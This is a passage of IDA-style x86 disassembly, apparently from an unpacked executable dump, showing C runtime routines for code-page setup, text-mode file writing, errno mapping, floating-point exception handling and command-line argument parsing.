loc_41EA26: ; CODE XREF: sub_41E92D+CBj ; sub_41E92D+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41E9F3 mov eax, [ebp+arg_0] mov dword_4CEDFC, 1 push eax mov dword_4CEDE4, eax call sub_41EB10 lea esi, dword_436014[esi] mov edi, offset dword_4CEDF0 movsd movsd pop ecx mov dword_4CF004, eax movsd jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA60: ; CODE XREF: sub_41E92D+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41E9B4 loc_41EA6C: ; CODE XREF: sub_41E92D+7Ej ; sub_41E92D+8Bj push 1 pop eax loc_41EA6F: ; CODE XREF: sub_41E92D+14Fj or byte_4CEF01[eax], 8 inc eax cmp eax, 0FFh jb short loc_41EA6F push esi call sub_41EB10 pop ecx mov dword_4CF004, eax mov dword_4CEDFC, 1 jmp short loc_41EA9C ; --------------------------------------------------------------------------- loc_41EA96: ; CODE XREF: sub_41E92D+74j mov dword_4CEDFC, ebx loc_41EA9C: ; CODE XREF: sub_41E92D+167j xor eax, eax mov edi, offset dword_4CEDF0 stosd stosd stosd jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EAA8: ; CODE XREF: sub_41E92D+51j cmp dword_4CDA64, ebx jz short loc_41EABE loc_41EAB0: ; CODE XREF: sub_41E92D+27j call sub_41EB43 loc_41EAB5: ; CODE XREF: sub_41E92D+131j ; sub_41E92D+179j call sub_41EB6C loc_41EABA: ; CODE XREF: sub_41E92D+1Dj xor eax, eax jmp short loc_41EAC1 ; --------------------------------------------------------------------------- loc_41EABE: ; CODE XREF: sub_41E92D+181j or eax, 0FFFFFFFFh loc_41EAC1: ; CODE XREF: sub_41E92D+18Fj pop edi pop esi pop ebx leave retn sub_41E92D endp ; =============== S U B R O U T I N E ======================================= sub_41EAC6 proc near ; CODE XREF: sub_41E92D+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4CDA64, 0 cmp eax, 0FFFFFFFEh jnz short loc_41EAE6 mov dword_4CDA64, 1 nop jmp near ptr 2610947h ; --------------------------------------------------------------------------- loc_41EAE6: ; CODE XREF: sub_41EAC6+Ej cmp eax, 0FFFFFFFDh jnz short loc_41EAFB mov dword_4CDA64, 1 nop jmp near ptr 28B19F6h ; --------------------------------------------------------------------------- loc_41EAFB: ; CODE XREF: sub_41EAC6+23j cmp eax, 0FFFFFFFCh jnz short locret_41EB0F mov eax, dword_4CDA58 mov dword_4CDA64, 1 locret_41EB0F: ; CODE XREF: sub_41EAC6+38j retn sub_41EAC6 endp ; =============== S U B R O U T I N E ======================================= sub_41EB10 proc near ; CODE XREF: sub_41E92D+118p ; sub_41E92D+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41EB3D sub eax, 4 jz short loc_41EB37 sub eax, 0Dh jz short loc_41EB31 dec eax jz short loc_41EB2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41EB2B: ; CODE XREF: sub_41EB10+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41EB31: ; CODE XREF: sub_41EB10+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41EB37: ; CODE XREF: sub_41EB10+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41EB3D: ; CODE XREF: sub_41EB10+9j mov eax, 411h retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EB43 proc near ; CODE XREF: sub_41E92D:loc_41EAB0p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4CEF00 rep stosd stosb xor eax, eax mov edi, offset dword_4CEDF0 mov dword_4CEDE4, eax mov dword_4CEDFC, eax mov dword_4CF004, eax stosd stosd stosd pop edi retn sub_41EB43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB6C proc near ; CODE XREF: sub_41E92D:loc_41EAB5p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4CEDE4 nop call near ptr 28B10F1h cmp eax, 1 jnz loc_41ECA5 xor eax, eax mov esi, 100h loc_41EB96: ; CODE XREF: sub_41EB6C+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41EB96 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41EBE7 push ebx push edi lea edx, [ebp+var_D] loc_41EBB5: ; CODE XREF: sub_41EB6C+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41EBDC sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41EBDC: ; CODE XREF: sub_41EB6C+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41EBB5 pop edi pop ebx loc_41EBE7: ; CODE XREF: sub_41EB6C+42j push 0 lea eax, [ebp+var_514] push dword_4CF004 push dword_4CEDE4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_41FB63 push 0 lea eax, [ebp+var_214] push dword_4CEDE4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4CF004 call sub_41E709 push 0 lea eax, [ebp+var_314] push dword_4CEDE4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4CF004 call sub_41E709 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_41EC62: ; CODE XREF: sub_41EB6C+135j mov dx, [ecx] test dl, 1 jz short loc_41EC80 or byte_4CEF01[eax], 10h mov dl, [ebp+eax+var_214] loc_41EC78: ; CODE XREF: sub_41EB6C+127j mov byte_4CEE00[eax], dl jmp short loc_41EC9C ; --------------------------------------------------------------------------- loc_41EC80: ; CODE XREF: sub_41EB6C+FCj test dl, 2 jz short loc_41EC95 or byte_4CEF01[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41EC78 ; --------------------------------------------------------------------------- loc_41EC95: ; CODE XREF: sub_41EB6C+117j and byte_4CEE00[eax], 0 loc_41EC9C: ; CODE XREF: sub_41EB6C+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41EC62 jmp short loc_41ECEE ; --------------------------------------------------------------------------- loc_41ECA5: ; CODE XREF: sub_41EB6C+1Dj xor eax, eax mov esi, 100h loc_41ECAC: ; CODE XREF: sub_41EB6C+180j cmp eax, 41h jb short loc_41ECCA cmp eax, 5Ah ja short loc_41ECCA or byte_4CEF01[eax], 10h mov cl, al add cl, 20h loc_41ECC2: ; CODE XREF: sub_41EB6C+174j mov byte_4CEE00[eax], cl jmp short loc_41ECE9 ; --------------------------------------------------------------------------- loc_41ECCA: ; CODE XREF: sub_41EB6C+143j ; sub_41EB6C+148j cmp eax, 61h jb short loc_41ECE2 cmp eax, 7Ah ja short loc_41ECE2 or byte_4CEF01[eax], 20h mov cl, al sub cl, 20h jmp short loc_41ECC2 ; --------------------------------------------------------------------------- loc_41ECE2: ; CODE XREF: sub_41EB6C+161j ; sub_41EB6C+166j and byte_4CEE00[eax], 0 loc_41ECE9: ; CODE XREF: sub_41EB6C+15Cj inc eax cmp eax, esi jb short loc_41ECAC loc_41ECEE: ; CODE XREF: sub_41EB6C+137j pop esi leave retn sub_41EB6C endp ; =============== S U B R O U T I N E ======================================= sub_41ECF1 proc near ; CODE XREF: ___:0041F138p ; ___:0041F194p ... cmp dword_4CF034, 0 jnz short locret_41ED0C push 0FFFFFFFDh call sub_41E92D pop ecx mov dword_4CF034, 1 locret_41ED0C: ; CODE XREF: sub_41ECF1+7j retn sub_41ECF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED0D proc near ; CODE XREF: sub_4192B8+2Bp ; sub_4192B8+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4CEDFC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41ED31 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_418C10 add esp, 0Ch jmp short loc_41ED94 ; --------------------------------------------------------------------------- loc_41ED31: ; CODE XREF: sub_41ED0D+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41ED76 mov ecx, [ebp+arg_4] loc_41ED3C: ; CODE XREF: sub_41ED0D+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4CEF01[esi], 4 mov [edi], al jz short loc_41ED60 inc edi inc ecx test edx, edx jz short loc_41ED6C mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41ED72 jmp short loc_41ED66 ; --------------------------------------------------------------------------- loc_41ED60: ; CODE XREF: sub_41ED0D+3Ej inc edi inc ecx test al, al jz short loc_41ED76 loc_41ED66: ; CODE XREF: sub_41ED0D+51j test edx, edx jnz short loc_41ED3C jmp short loc_41ED76 ; --------------------------------------------------------------------------- loc_41ED6C: ; CODE XREF: sub_41ED0D+44j and byte ptr [edi-1], 0 jmp short loc_41ED76 ; --------------------------------------------------------------------------- loc_41ED72: ; CODE XREF: sub_41ED0D+4Fj and byte ptr [edi-2], 0 loc_41ED76: ; CODE XREF: sub_41ED0D+2Aj ; sub_41ED0D+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41ED91 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41ED91: ; CODE XREF: sub_41ED0D+6Fj mov eax, [ebp+arg_0] loc_41ED94: ; CODE XREF: sub_41ED0D+22j pop edi pop ebp retn sub_41ED0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED97 proc near ; CODE XREF: sub_4196EF+A2p ; sub_419D23+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4CEDE0 push esi push edi jnb loc_41EF2B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4CECE0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41EF2B xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41EDE8 loc_41EDE1: ; CODE XREF: sub_41ED97+177j xor eax, eax jmp loc_41EF3F ; --------------------------------------------------------------------------- loc_41EDE8: ; CODE XREF: sub_41ED97+48j test al, 20h jz short loc_41EDF8 push 2 push edi push ecx call sub_41E517 add esp, 0Ch loc_41EDF8: ; CODE XREF: sub_41ED97+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41EEC7 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41EEFF loc_41EE18: ; CODE XREF: sub_41ED97+F5j lea eax, [ebp+var_414] loc_41EE1E: ; CODE XREF: sub_41ED97+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41EE52 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41EE3D inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41EE3D: ; CODE XREF: sub_41ED97+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41EE1E loc_41EE52: ; CODE XREF: sub_41ED97+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2660000h test eax, eax jz short loc_41EEBC mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_41EE8E mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41EE18 loc_41EE8E: ; CODE XREF: sub_41ED97+EAj ; sub_41ED97+12Ej xor edi, edi loc_41EE90: ; CODE XREF: sub_41ED97+150j ; sub_41ED97+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41EF26 cmp [ebp+arg_0], edi jz short loc_41EEFF push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41EEF4 mov dword_4CD9B4, 9 mov dword_4CD9B8, eax jmp loc_41EF3C ; --------------------------------------------------------------------------- loc_41EEBC: ; CODE XREF: sub_41ED97+E0j nop call near ptr 26702AAh mov [ebp+arg_0], eax jmp short loc_41EE8E ; --------------------------------------------------------------------------- loc_41EEC7: ; CODE XREF: sub_41ED97+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2660000h test eax, eax jz short loc_41EEE9 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41EE90 ; --------------------------------------------------------------------------- loc_41EEE9: ; CODE XREF: sub_41ED97+145j call near ptr 26702AAh nop mov [ebp+arg_0], eax jmp short loc_41EE90 ; --------------------------------------------------------------------------- loc_41EEF4: ; CODE XREF: sub_41ED97+10Fj push [ebp+arg_0] call sub_41EF44 pop ecx jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EEFF: ; CODE XREF: sub_41ED97+7Bj ; sub_41ED97+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41EF14 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41EDE1 loc_41EF14: ; CODE XREF: sub_41ED97+16Fj mov dword_4CD9B4, 1Ch mov dword_4CD9B8, edi jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EF26: ; CODE XREF: sub_41ED97+FEj sub eax, [ebp+var_10] jmp short loc_41EF3F ; --------------------------------------------------------------------------- loc_41EF2B: ; CODE XREF: sub_41ED97+15j ; sub_41ED97+37j and dword_4CD9B8, 0 mov dword_4CD9B4, 9 loc_41EF3C: ; CODE XREF: sub_41ED97+120j ; sub_41ED97+166j ... or eax, 0FFFFFFFFh loc_41EF3F: ; CODE XREF: sub_41ED97+4Cj ; sub_41ED97+192j pop edi pop esi pop ebx leave retn sub_41ED97 endp ; =============== S U B R O U T I N E ======================================= sub_41EF44 proc near ; CODE XREF: sub_4197F9+16p ; sub_419BBA+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4CD9B8, ecx mov eax, offset dword_436100 loc_41EF55: ; CODE XREF: sub_41EF44+1Ej cmp ecx, [eax] jz short loc_41EF79 add eax, 8 inc edx cmp eax, offset dword_436268 jl short loc_41EF55 cmp ecx, 13h jb short loc_41EF86 cmp ecx, 24h ja short loc_41EF86 mov dword_4CD9B4, 0Dh retn ; --------------------------------------------------------------------------- loc_41EF79: ; CODE XREF: sub_41EF44+13j mov eax, dword_436104[edx*8] mov dword_4CD9B4, eax retn ; --------------------------------------------------------------------------- loc_41EF86: ; CODE XREF: sub_41EF44+23j ; sub_41EF44+28j cmp ecx, 0BCh jb short loc_41EFA0 cmp ecx, 0CAh mov dword_4CD9B4, 8 jbe short locret_41EFAA loc_41EFA0: ; CODE XREF: sub_41EF44+48j mov dword_4CD9B4, 16h locret_41EFAA: ; CODE XREF: sub_41EF44+5Aj retn sub_41EF44 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_41F0EC test eax, eax pop ecx jz loc_41F0E0 mov ebx, [eax+8] test ebx, ebx jz loc_41F0E0 cmp ebx, 5 jnz short loc_41EFDC and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41F0E9 ; --------------------------------------------------------------------------- loc_41EFDC: ; CODE XREF: ___:0041EFCEj cmp ebx, 1 jz loc_41F0DB mov ecx, dword_4CDA68 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4CDA68, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41F0CB mov ecx, dword_4362E0 mov edx, dword_4362E4 add edx, ecx push esi cmp ecx, edx jge short loc_41F02B lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:436270h[esi*4] loc_41F022: ; CODE XREF: ___:0041F029j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41F022 loc_41F02B: ; CODE XREF: ___:0041F014j mov eax, [eax] mov esi, dword_4362EC cmp eax, 0C000008Eh jnz short loc_41F046 mov dword_4362EC, 83h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F046: ; CODE XREF: ___:0041F038j cmp eax, 0C0000090h jnz short loc_41F059 mov dword_4362EC, 81h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F059: ; CODE XREF: ___:0041F04Bj cmp eax, 0C0000091h jnz short loc_41F06C mov dword_4362EC, 84h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F06C: ; CODE XREF: ___:0041F05Ej cmp eax, 0C0000093h jnz short loc_41F07F mov dword_4362EC, 85h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F07F: ; CODE XREF: ___:0041F071j cmp eax, 0C000008Dh jnz short loc_41F092 mov dword_4362EC, 82h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F092: ; CODE XREF: ___:0041F084j cmp eax, 0C000008Fh jnz short loc_41F0A5 mov dword_4362EC, 86h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F0A5: ; CODE XREF: ___:0041F097j cmp eax, 0C0000092h jnz short loc_41F0B6 mov dword_4362EC, 8Ah loc_41F0B6: ; CODE XREF: ___:0041F044j ; ___:0041F057j ... push dword_4362EC push 8 call ebx pop ecx mov dword_4362EC, esi pop ecx pop esi jmp short loc_41F0D3 ; --------------------------------------------------------------------------- loc_41F0CB: ; CODE XREF: ___:0041EFFDj and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41F0D3: ; CODE XREF: ___:0041F0C9j mov eax, [ebp+8] mov dword_4CDA68, eax loc_41F0DB: ; CODE XREF: ___:0041EFDFj or eax, 0FFFFFFFFh jmp short loc_41F0E9 ; --------------------------------------------------------------------------- loc_41F0E0: ; CODE XREF: ___:0041EFBAj ; ___:0041EFC5j push dword ptr [ebp+0Ch] nop call near ptr 261062Fh loc_41F0E9: ; CODE XREF: ___:0041EFD7j ; ___:0041F0DEj pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_41F0EC proc near ; CODE XREF: ___:0041EFB2p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_4362E8 cmp dword_436268, edx push esi mov eax, offset dword_436268 jz short loc_41F119 lea esi, [ecx+ecx*2] lea esi, ds:436268h[esi*4] loc_41F10E: ; CODE XREF: sub_41F0EC+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41F119 cmp [eax], edx jnz short loc_41F10E loc_41F119: ; CODE XREF: sub_41F0EC+16j ; sub_41F0EC+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:436268h[ecx*4] cmp eax, ecx jnb short loc_41F12C cmp [eax], edx jz short locret_41F12E loc_41F12C: ; CODE XREF: sub_41F0EC+3Aj xor eax, eax locret_41F12E: ; CODE XREF: sub_41F0EC+3Ej retn sub_41F0EC endp ; --------------------------------------------------------------------------- cmp dword_4CF034, 0 jnz short loc_41F13D call sub_41ECF1 loc_41F13D: ; CODE XREF: ___:0041F136j push esi mov esi, dword_4CF02C mov al, [esi] cmp al, 22h jnz short loc_41F16F loc_41F14A: ; CODE XREF: ___:0041F162j ; ___:0041F165j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41F167 test al, al jz short loc_41F167 movzx eax, al push eax call sub_42101D test eax, eax pop ecx jz short loc_41F14A inc esi jmp short loc_41F14A ; --------------------------------------------------------------------------- loc_41F167: ; CODE XREF: ___:0041F150j ; ___:0041F154j cmp byte ptr [esi], 22h jnz short loc_41F179 loc_41F16C: ; CODE XREF: ___:0041F181j inc esi jmp short loc_41F179 ; --------------------------------------------------------------------------- loc_41F16F: ; CODE XREF: ___:0041F148j cmp al, 20h jbe short loc_41F179 loc_41F173: ; CODE XREF: ___:0041F177j inc esi cmp byte ptr [esi], 20h ja short loc_41F173 loc_41F179: ; CODE XREF: ___:0041F16Aj ; ___:0041F16Dj ... mov al, [esi] test al, al jz short loc_41F183 cmp al, 20h jbe short loc_41F16C loc_41F183: ; CODE XREF: ___:0041F17Dj mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4CF034, ebx push esi push edi jnz short loc_41F199 call sub_41ECF1 loc_41F199: ; CODE XREF: ___:0041F192j mov esi, dword_4CDA00 xor edi, edi loc_41F1A1: ; CODE XREF: ___:0041F1B7j mov al, [esi] cmp al, bl jz short loc_41F1B9 cmp al, 3Dh jz short loc_41F1AC inc edi loc_41F1AC: ; CODE XREF: ___:0041F1A9j push esi call sub_417AB0 pop ecx lea esi, [esi+eax+1] jmp short loc_41F1A1 ; --------------------------------------------------------------------------- loc_41F1B9: ; CODE XREF: ___:0041F1A5j lea eax, ds:4[edi*4] push eax call sub_417B89 mov esi, eax pop ecx cmp esi, ebx mov dword_4CD9DC, esi jnz short loc_41F1DB push 9 call sub_419CDA pop ecx loc_41F1DB: ; CODE XREF: ___:0041F1D1j mov edi, dword_4CDA00 cmp [edi], bl jz short loc_41F21E push ebp loc_41F1E6: ; CODE XREF: ___:0041F21Bj push edi call sub_417AB0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41F217 push ebp call sub_417B89 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41F20A push 9 call sub_419CDA pop ecx loc_41F20A: ; CODE XREF: ___:0041F200j push edi push dword ptr [esi] call sub_4179C0 pop ecx add esi, 4 pop ecx loc_41F217: ; CODE XREF: ___:0041F1F3j add edi, ebp cmp [edi], bl jnz short loc_41F1E6 pop ebp loc_41F21E: ; CODE XREF: ___:0041F1E3j push dword_4CDA00 call sub_417C3B pop ecx mov dword_4CDA00, ebx mov [esi], ebx pop edi pop esi mov dword_4CF030, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4CF034, ebx push esi push edi jnz short loc_41F257 call sub_41ECF1 loc_41F257: ; CODE XREF: ___:0041F250j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2680000h mov eax, dword_4CF02C mov off_4CD9EC, esi mov edi, esi cmp [eax], bl jz short loc_41F27C mov edi, eax loc_41F27C: ; CODE XREF: ___:0041F278j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_41F2D9 mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_417B89 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41F2AC push 8 call sub_419CDA pop ecx loc_41F2AC: ; CODE XREF: ___:0041F2A2j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41F2D9 mov eax, [ebp-4] add esp, 14h dec eax mov dword_4CD9D4, esi pop edi pop esi mov dword_4CD9D0, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F2D9 proc near ; CODE XREF: ___:0041F287p ; ___:0041F2BDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41F303 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F303: ; CODE XREF: sub_41F2D9+20j cmp byte ptr [eax], 22h jnz short loc_41F34C loc_41F308: ; CODE XREF: sub_41F2D9+58j ; sub_41F2D9+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41F33A test dl, dl jz short loc_41F33A movzx edx, dl test byte_4CEF01[edx], 4 jz short loc_41F32D inc dword ptr [ecx] test esi, esi jz short loc_41F32D mov dl, [eax] mov [esi], dl inc esi inc eax loc_41F32D: ; CODE XREF: sub_41F2D9+46j ; sub_41F2D9+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41F308 mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F308 ; --------------------------------------------------------------------------- loc_41F33A: ; CODE XREF: sub_41F2D9+36j ; sub_41F2D9+3Aj inc dword ptr [ecx] test esi, esi jz short loc_41F344 and byte ptr [esi], 0 inc esi loc_41F344: ; CODE XREF: sub_41F2D9+65j cmp byte ptr [eax], 22h jnz short loc_41F38F inc eax jmp short loc_41F38F ; --------------------------------------------------------------------------- loc_41F34C: ; CODE XREF: sub_41F2D9+2Dj ; sub_41F2D9+A5j inc dword ptr [ecx] test esi, esi jz short loc_41F357 mov dl, [eax] mov [esi], dl inc esi loc_41F357: ; CODE XREF: sub_41F2D9+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4CEF01[ebx], 4 jz short loc_41F372 inc dword ptr [ecx] test esi, esi jz short loc_41F371 mov bl, [eax] mov [esi], bl inc esi loc_41F371: ; CODE XREF: sub_41F2D9+91j inc eax loc_41F372: ; CODE XREF: sub_41F2D9+8Bj cmp dl, 20h jz short loc_41F380 test dl, dl jz short loc_41F384 cmp dl, 9 jnz short loc_41F34C loc_41F380: ; CODE XREF: sub_41F2D9+9Cj test dl, dl jnz short loc_41F387 loc_41F384: ; CODE XREF: sub_41F2D9+A0j dec eax jmp short loc_41F38F ; --------------------------------------------------------------------------- loc_41F387: ; CODE XREF: sub_41F2D9+A9j test esi, esi jz short loc_41F38F and byte ptr [esi-1], 0 loc_41F38F: ; CODE XREF: sub_41F2D9+6Ej ; sub_41F2D9+71j ... and [ebp+arg_10], 0 loc_41F393: ; CODE XREF: sub_41F2D9+19Ej cmp byte ptr [eax], 0 jz loc_41F47C loc_41F39C: ; CODE XREF: sub_41F2D9+D0j mov dl, [eax] cmp dl, 20h jz short loc_41F3A8 cmp dl, 9 jnz short loc_41F3AB loc_41F3A8: ; CODE XREF: sub_41F2D9+C8j inc eax jmp short loc_41F39C ; --------------------------------------------------------------------------- loc_41F3AB: ; CODE XREF: sub_41F2D9+CDj cmp byte ptr [eax], 0 jz loc_41F47C test edi, edi jz short loc_41F3C0 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F3C0: ; CODE XREF: sub_41F2D9+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41F3C5: ; CODE XREF: sub_41F2D9+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41F3CE: ; CODE XREF: sub_41F2D9+FCj cmp byte ptr [eax], 5Ch jnz short loc_41F3D7 inc eax inc ebx jmp short loc_41F3CE ; --------------------------------------------------------------------------- loc_41F3D7: ; CODE XREF: sub_41F2D9+F8j cmp byte ptr [eax], 22h jnz short loc_41F408 test bl, 1 jnz short loc_41F406 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41F3F5 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41F3F5 mov eax, edx jmp short loc_41F3F8 ; --------------------------------------------------------------------------- loc_41F3F5: ; CODE XREF: sub_41F2D9+10Dj ; sub_41F2D9+116j mov [ebp+arg_0], edi loc_41F3F8: ; CODE XREF: sub_41F2D9+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_41F406: ; CODE XREF: sub_41F2D9+106j shr ebx, 1 loc_41F408: ; CODE XREF: sub_41F2D9+101j mov edx, ebx dec ebx test edx, edx jz short loc_41F41D inc ebx loc_41F410: ; CODE XREF: sub_41F2D9+142j test esi, esi jz short loc_41F418 mov byte ptr [esi], 5Ch inc esi loc_41F418: ; CODE XREF: sub_41F2D9+139j inc dword ptr [ecx] dec ebx jnz short loc_41F410 loc_41F41D: ; CODE XREF: sub_41F2D9+134j mov dl, [eax] test dl, dl jz short loc_41F46D cmp [ebp+arg_10], 0 jnz short loc_41F433 cmp dl, 20h jz short loc_41F46D cmp dl, 9 jz short loc_41F46D loc_41F433: ; CODE XREF: sub_41F2D9+14Ej cmp [ebp+arg_0], 0 jz short loc_41F467 test esi, esi jz short loc_41F456 movzx ebx, dl test byte_4CEF01[ebx], 4 jz short loc_41F44F mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41F44F: ; CODE XREF: sub_41F2D9+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F465 ; --------------------------------------------------------------------------- loc_41F456: ; CODE XREF: sub_41F2D9+162j movzx edx, dl test byte_4CEF01[edx], 4 jz short loc_41F465 inc eax inc dword ptr [ecx] loc_41F465: ; CODE XREF: sub_41F2D9+17Bj ; sub_41F2D9+187j inc dword ptr [ecx] loc_41F467: ; CODE XREF: sub_41F2D9+15Ej inc eax jmp loc_41F3C5 ; --------------------------------------------------------------------------- loc_41F46D: ; CODE XREF: sub_41F2D9+148j ; sub_41F2D9+153j ... test esi, esi jz short loc_41F475 and byte ptr [esi], 0 inc esi loc_41F475: ; CODE XREF: sub_41F2D9+196j inc dword ptr [ecx] jmp loc_41F393 ; --------------------------------------------------------------------------- loc_41F47C: ; 